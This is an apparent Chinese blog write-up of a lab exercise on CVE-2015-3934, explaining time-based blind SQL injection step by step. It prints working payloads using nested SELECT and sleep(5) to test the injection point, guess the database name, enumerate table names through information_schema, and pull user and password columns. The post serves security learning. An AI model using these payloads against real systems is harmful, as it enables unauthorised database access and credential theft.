CVE-2015-3934 sql盲注payload

刚刚看到CVE-2015-3934这个sql注入漏洞,发现实验机器给的脚本不算太完整,略过了数据库名和表名的猜解,直接从字段名猜解开始了。


这里以这个漏洞的payload为例,写一下整个的大体流程,也梳理一下。


这个一个基于时间的sql盲注:

python脚本,通过sql的sleep()函数控制时间,配合requests库中的timeout选项,来判断返回


原查询语句为:


用来判断注入点的语句为(语句包含单引号,url编码中%2B代表加号):user=' %2B(select(0)from(select(sleep(5)))v)%2B' 

因此构造后的sql语句: ...AND user=''%2B(select(0)from(select(sleep(5)))v)%2B'' AND password='md5';

可以看出来,使用select嵌套查询


先简单说一下select嵌套查询

基本结构

select * from(select()v)

v是第二个select的别名

至于本题为什么必须要用select嵌套查询,猜是有过滤


在本地的security(长度为8)数据库里建立一个表如下,


假设php中查询语句为:select pass from uu where user = '$user'

因此 先判断database的长度,可以传参user='+(select(0)from(select(IF(length(database())=i,sleep(5),0)))v)+'

其中的i为一个变量,当i为1~7时,查询结果为


可以看出来 0s返回结果

因为我本地测试的数据库名长度为8,所以当i为8时:


返回时间变为了5s


然后判断数据库名字:

可以传参user='+(select(0)from(select(if(ascii(substring(database(),i,1))=mid,sleep(5),1)))v)+'

其中i为database的长度,mid为猜解字符的ascii码,范围为32~126

在这里本地只演示一下第一位字符的判断:


字符s的ascii码为115,所以这个sleep了5s才返回,否则0s返回


同样的,对于表名的判断,与数据库相似:

所有表长度:

user='+(select(0)from(select(if(length(group_concat(table_name))=i,sleep(5),0))from(informaiton_schema.tables)where(table_schema=database()))v)

如下图,这个所有表加逗号的长度为32

表名猜解:

user='+(select(0)from(select(if(ascii(substr(group_concat(table_name),i,1))=mid,sleep(5),0))from(information_schema.tables)where(table_schema=database()))v)+' 其中i为上面获取的表的长度,mid为猜解字符的asc码

以我演示的为例,第一个字符为e,对应ascii码为101,因此:


表之间使用逗号连接


然后便是列长度,名的猜解,与表相似,不再赘述


回到题目:猜解数据库长度和名字的exp:


(写代码时候只顾着测试忘记写在虚拟机外面了。。结果复制不出来,将就看吧)

顺藤摸瓜,猜解表,列的exp


然后是题目给出的最终的爆破exp:


可以看见,数据库为fiyo,表名为fiyo60_user,列名为user,password


ps:group_concat(table_name) 表示将table_name使用逗号连接然后输出


group_concat(user,0x2c,password) 表示将user和password使用逗号连接然后输出


阅读更多
文章标签: sql inject
个人分类: sql study
上一篇HACKTHISSITE BASIC 10
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭
关闭